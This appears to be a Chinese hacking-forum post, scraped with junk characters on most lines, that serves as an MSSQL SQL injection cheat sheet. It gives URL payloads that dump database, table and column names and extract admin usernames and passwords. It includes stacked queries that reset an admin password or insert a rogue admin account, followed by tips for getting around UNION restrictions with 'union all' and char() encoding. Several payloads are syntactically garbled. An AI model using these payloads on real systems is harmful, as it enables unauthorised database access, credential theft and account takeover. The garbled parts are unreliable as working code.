爆库:, o; L( P E( u2 h1 Y$ W
http://duck/index.asp.id=10 UNION SELECT TOP 1 SCHEMA_NAME FROM INFORMATION_SCHEMA.SCHEMATA.--
+ I0 {% x: ^+ sSELECT TOP 1 SCHEMA_NAME FROM INFORMATION_SCHEMA.SCHEMATA.
. _$ x( f% k. q. H1 \8 o爆下一个库:
0 P! Z' R z: s. g% Ahttp://duck/index.asp.id=10 UNION SELECT TOP 1 SCHEMA_NAME FROM INFORMATION_SCHEMA.SCHEMATA WHERE TABLE_NAME NOT IN ('库名')--
$ W* B# n; i% G' |$ l, n; w. ]( d
爆表:
. V: j! t7 z# _0 F! Rhttp://duck/index.asp.id=10 UNION SELECT TOP 1 TABLE_NAME FROM INFORMATION_SCHEMA.TABLES--' y- i' [+ _6 k, G w& t2 n
2 P. M& R8 m" V' e" ]SELECT TOP 1 TABLE_NAME FROM INFORMATION_SCHEMA.TABLES.
" c V/ q1 U/ j( b' ?* u- e1 ^: @
/ H, i E( [6 U: ? H) S爆下一个表2 ~ R# ^' I0 w9 h; s# v4 r
http://duck/index.asp.id=10 UNION SELECT TOP 1 TABLE_NAME FROM INFORMATION_SCHEMA.TABLES WHERE TABLE_NAME NOT IN ('table1')--
1 p/ a6 c* O2 F- V0 o. C
- ~/ A# V! v+ _http://duck/index.asp.id=10 UNION SELECT TOP 1 TABLE_NAME FROM INFORMATION_SCHEMA.TABLES WHERE TABLE_NAME LIKE '%login%'--
4 G8 F0 Q( E; `" ~9 r, |* e; X& J- z- \* S$ `
2 a& n; a) i* y* n5 X/ N/ k; v6 d3 m) P. p4 m. n0 S
爆字段:/ B8 N3 I6 ]* {( e. i9 o
http://duck/index.asp.id=10 UNION SELECT TOP 1 COLUMN_NAME FROM INFORMATION_SCHEMA.COLUMNS WHERE TABLE_NAME='admin_login'--5 L& f& Z7 `, h2 h, E/ D
; W$ c1 p* ~6 R3 S& c0 C爆下一个字段
% e3 Y( G. A, y: H5 thttp://duck/index.asp.id=10 UNION SELECT TOP 1 COLUMN_NAME FROM INFORMATION_SCHEMA.COLUMNS WHERE TABLE_NAME='admin_login' WHERE COLUMN_NAME NOT IN ('login_id')--
7 W3 U3 z: X4 z1 \& p% V: [: N9 w9 T& o) f$ w: e% t, E
http://duck/index.asp.id=10 UNION SELECT TOP 1 COLUMN_NAME FROM INFORMATION_SCHEMA.COLUMNS WHERE TABLE_NAME='admin_login' WHERE COLUMN_NAME NOT IN ('login_id','login_name','password',details')--- h" }9 b9 w6 J% X" v5 F# `. [# n
) o& h* m( b) E8 v2 y x
# _# T. d/ |+ w+ Q ` k+ P; K" R1 V
爆字段里的内容
, v2 a9 Q: o1 e. U `http://duck/index.asp.id=10 UNION SELECT TOP 1 login_name FROM admin_login--
0 T: f# J5 Z [2 k, P7 U; H6 b/ a: l
http://duck/index.asp.id=10 UNION SELECT TOP 1 password FROM admin_login where login_name='neo'--2 r2 \* E) z! h6 G
2 v& x7 v8 K4 ?3 U
http://duck/index.asp.id=10 UNION SELECT TOP 1 password FROM admin_login where login_name='trinity'--
' B, \% i7 z. m! Q, b; D9 U! D# ~; v$ B/ @
http://duck/index.asp.id=10 UNION SELECT TOP 1 convert(int,password.morpheus.) FROM admin_login where login_name='trinity'--, H4 B* H4 f. f1 r, R% c7 Y- |
; {+ X1 w z& ] {/ o5 Y: }: k" E
更新字段里的内容
% |3 L& x t9 |2 L. q v+ nhttp://duck/index.asp.id=10; UPDATE .admin_login. SET .password. = .newpas5. WHERE login_name='neo'--2 F; j! S8 A3 O7 x/ \/ Q# I4 [
; G. G P; Z& ~5 n* Q
http://duck/index.asp.id=10; INSERT INTO .admin_login. (.login_id.,.login_name.,.password.,.details.) VALUES (666,.neo2.,.newpas5.,.NA.)--
, l" b7 r4 } G
! W, R7 ]$ @" s* C) ~$ u/ G7 t0 ?2 m% W4 N/ `+ H* ^
9 ~$ s# M; C; c S4 G
在注射的时候,access和mysql环境下,我们通常是通过union来获取数据的。但是遇到mssql环境,union很多时候都行不通,如果页面不报错,openrowset不可用,往往时候就只有暴力了。这样多不好,大家都是文明人,怎么可以用这么野蛮的手段呢?研究了一下,mssql中的union选择主要有以下几个方面的限制。
8 f8 H. t8 L$ I) I% G 第一个是varchar/nvarchar和int类型的字段union到一起会强制转换出错。这个可以去看superhei大牛N久以前的文章,用and 1=2 把union前面的结果集置空就可以解决了。1 c8 S" |1 v- |
第二个是当前面语句选择的字段有text、ntext 或者image格式的时候,不能用DISTINCT 方式来选择,而带union的语句必然是以DISTINCT 方式来选择的。这也是为什么很多搜索型的注射点可以用union猜解的原因,因为搜索点的语句很少会选到前面三种格式的字段。Image是二进制格式,一般不会出现在需要回显的sql语句中。这种限制前段时间也看到牛淫给出了解决方法,union后面跟一个all,即union all就搞定了。真是神奇啊,牛淫就是牛淫。
' [& k* X# E# s9 Z& p$ y5 t 最后还有一个限制是text/ntext 与 int类型的字段 union到一起时并不兼容,会报操作数类型冲突的错误,就算用1=2把union前面语句的结果置空也一样。前几天突然想到,union的时候我们经常用1,2,3……之类的常数来补齐相差的列数。这时候后面的语句选择的都是int类型的字段,遇到前面有text/ntext的字段当然会出错,如果加上引号呢,即'1’,'2’,'3’……的形式?这时候后面的字段都是char或者varchar的类型了,应该就不会出错了。如果注射点过滤了引号怎么办?因为mssql对16进制格式的支持不是太好,很多地方用16进制必须declare――set,那就用char吧,即and 1=2 union all select char(49),char(50)……的形式。8 R; j# P& K7 {: y
6 |. ^6 K! S! P+ e3 z突了了大部份限制的语句
5 o8 T$ W8 [: V$ I7 `and 1=2 union all select char(49),char(50),null,null;--7 H& E# S# I% t; S# p( _
) y. z& X9 l3 W0 O% O" C' B
8 _2 {+ s- j6 B9 g& nnull也可以正常执行,不过没有回显,不好判断回显的列数。4 t8 s: }, w! K& \% L3 l
一般union遇到问题都是有text或者ntext字段,image的很少遇到
; j4 l3 } a7 v& ?' `( i
, Y- h% ~' g* U5 ~( U0 @可以先null完之后再一个个用1,2,3,4代替,这样就能逼出image类型的列鸟; s" ~8 P7 W& e! j, z/ D( `
% S: |5 U( m& X
o8 w c- F% U4 V# H8 v |